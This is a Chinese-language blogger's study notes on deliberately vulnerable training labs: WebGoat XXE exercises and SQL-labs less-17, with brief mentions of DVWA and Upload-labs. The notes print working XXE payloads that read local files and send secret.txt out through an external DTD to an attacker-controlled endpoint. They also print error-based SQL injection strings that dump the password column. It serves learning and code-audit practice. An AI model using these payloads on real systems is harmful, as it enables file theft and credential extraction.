线下靶场学习

为什么学习线下靶场,因为线下靶场相比更加容易理解漏洞入门,

而且可以看到网站的源码,从而可以锻炼代码审计能力,找出漏洞的成因,

尝试自己提出绕过或者防御的措施,这里只记录一下本人觉得的线下靶场印象深刻,对本人有意义的部分

WebGoat

一.XXE

1.Let’s try

前言:

1
在此作业中,您将为照片添加评论,在提交表单时尝试使用评论字段执行 XXE 注入。尝试列出文件系统的根目录。

我们先提交评论然后抓包试试

image-20221015192748515

这时我们发现评论的内容是在用xml进行传递,

可以编写dtd来进行内部实体注入

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY root SYSTEM "file:///C:/">
]>
<comment>
<text>
&root;
</text>
</comment>

image-20221015195142684

成功

2.Modern REST framework

前言:

1
2
3
在现代 REST 框架中,服务器可能能够接受您作为开发人员没有考虑过的数据格式。因此,这可能会导致 JSON 端点容易受到 XXE 攻击。

再次进行相同的练习,但尝试执行与我们在第一个作业中所做的相同的 XML 注入。

这个明显发现底下的评论传递格式不再是xml

而是在用json进行传递

1
2
3
4
5
6
json:
是一种轻量级的数据交换格式。人类很容易阅读和写作。机器很容易解析和生成。它基于 JavaScript 编程语言标准

JSON 中,它们采用以下形式:

对象是一组无序的名称/值对。一个对象以{(左大括号)开始,以}(右大括号)结束。每个名称后跟:冒号,名称/值对由逗号分隔。

image-20221015195333753

这里我们看

image-20221015200313439

就知道是修改 Content-Type

image-20221015200353909

我们直接把

1
2
3
Content-Type: application/json
改成
Content-Type: application/xml

那就可以以 xml 形式上传评论,从而实现 xxe 注入

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY root SYSTEM "file:///C:/">
]>
<comment>
<text>
&root;
</text>
</comment>

image-20221015200758568

成功

3.Blind XXE assignment

前言:

1
2
3
4
5
6
在本作业中尝试制作一个 DTD,它将文件 secret.txt 的内容从 WebGoat 服务器上传到我们的 WebWolf 服务器。您可以使用 WebWolf 为您的 DTD 提供服务。secret.txt 位于此位置的 WebGoat 服务器上,因此您无需扫描所有目录和文件:

你 地点
Windows 10 C:\Users\Ttoc/.webgoat-8.2.2//XXE/secret.txt

尝试使用 WebWolf 登录页面上传此文件,例如:( 注意:此端点由您完全控制)一旦您获得文件的内容,将其作为新评论发布在页面上,您将解决课程。http://127.0.0.1:9090/landing

盲注就是没有回显内容,但是我们需要把我们目标服务器的敏感文件内容获取到我们的服务器

1
2
3
简而言之,

webgoat开启了站点,这个站点有XXE,webgoat服务器上有个密码文件,通过XXE把这个密码文件读取,并且发送到我们自己的恶意站点webwolf,webwolf接受到这个请求就顺理成章获取了密码文件里面的密码

这里主要利用xml通过DTD实现文件包含,

先把我们自己写的DTD文件包含在我们的服务器webwolf,然后在webgoat上通过xxe进行远程包含我们站点的这个DTD文件,然后webgoat在解析我们的DTD文件的时候就会把secret.txt文件内容赋值到文件并作为参数发送到我们的webwolf服务器


我们先发送评论看看

这里发送的是空内容,回显的内容看来是提示,

1
需要我们先在`webwolf`上上传文件

image-20221017201611949

我们先抓包看看webgoat的评论的解析格式是怎么样的

image-20221017201938082

看来是正常的xml解析

我们先在webwolf上上传我们的evil.dtd文件

1
2
3
4
5
6
7
<!ENTITY % write "<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>">


//声明变量 write 并嵌套赋值<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>

为什么还要用一个参数实体嵌套呢?
因为如果我们用一个write参数实体将send外部实体的定义写进请求中,在%write;执行的过程中,%file也会被替换成相应的文本。因此最后,?text后面的值就是我们想要的内容

image-20221017205520515

1
2
3
4
这里的变量赋值和前面的不同
它是
%(空格)变量名
这种命名的方式的变量只能在DTD里用,而在xml里用不了

image-20221017211907400

上传成功后我们在incoming requests里看到上传路径,这样在webgoat就调用访问包含就行了

image-20221017211827208

然后我们再在webgoat抓包数据里构造我们的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY % file SYSTEM "file:///C:/Users/Ttoc/.webgoat-8.2.2/XXE/secret.txt">
//这个路径是有这个文件,因为在执行jar文件的时候,自动生成了这个文件
<!ENTITY % getdtd SYSTEM "http://localhost:9090/files/ttocplus/evil.dtd">
//注意这里是上传路径,要写自己的
%getdtd;
%write;
//在%getdtd;后面调用%write;
]>
<comment>
<text>
&send;
//再调用%write里的&send变量,这个变量是再嵌套的DTD语句中声明,所以需要在xml里调用
</text>
</comment>

虽然提示是报错,但是我们到我们的webwolf上查看

image-20221018140310837


这个是secret.txt的值,我们看看webwolf上有没有获得该数据

image-20221017234256596


成功获取

image-20221018141126472

成功

SQL-labs

这里不全写,详细建议找一下sql-labs天书,认真学习一下

less-17

其实我们可以先在源代码中看到一个函数。check_input()函数。 就会了解为什么不在username处进行注入

image-20220729232132515

image-20220729232104117

这里把这几个函数解释一下,就清楚了

★addslashes()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 

预定义字符是:

​单引号(')

​双引号(")

​反斜杠(\)

​NULL

提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您

不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可

以使用函数 get_magic_quotes_gpc() 进行检测。


1
2
3
4
5
6
7
8
9
语法:addslashes(string) 

参数 描述

string 必需。规定要转义的字符串。

返回值: 返回已转义的字符串。

PHP 版本: 4+

★stripslashes()

1
函数删除由 addslashes() 函数添加的反斜杠。 

★mysql_real_escape_string()

1
函数转义 SQL 语句中使用的字符串中的特殊字符。 

下列字符受影响:

1
2
3
4
5
6
7
8
9
10
11
12
13
\x00 

\n

\r

\

'

"

\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

1
2
3
4
5
6
7
语法:mysql_real_escape_string(string,connection) 

参数 描述

string 必需。规定要转义的字符串。

connection 可选。 规定 MySQL 连接。如果未规定,则使用上一个连接

所以注入处应该在passwd

开始先尝试注入,发现没有回显,

所以试试报错注入

1'and updatexml(1,concat(0x7e,(select password from users),0x7e),1)#

报出You can't specify target table 'users' for update in FROM clause

image-20220905094419111

大致意思是,在同一语句中,不能先select出同一表中的某些值,再update这个表

所以这里就需要加一个中间表,就可以绕过这个错误

比如

1'and updatexml(1,concat(0x7e,(select password from (select password from users)a),0x7e),1)#

这里就是把(select password from users)的查询后的数据存入生成的新表a,然后就相当于(select password from a)

image-20220905094517322

发现不能超过一行

于是用

1'and updatexml(1,concat(0x7e,(select group_concat(password) from (select password from users)a),0x7e),1)#

成功

image-20220905094540906

DVWA

推荐文章链接

不要只知道payload,要仔细分析理解源码,找出出现漏洞的原因点

建议看推荐文章,下面代码审计和题目分析仅是我个人能力结果,只能尽可能说到点处

而且部分也是借鉴推荐文章内容

Upload-labs

建议看文章,最后几关二次渲染和条件竞争建议仔细学习一下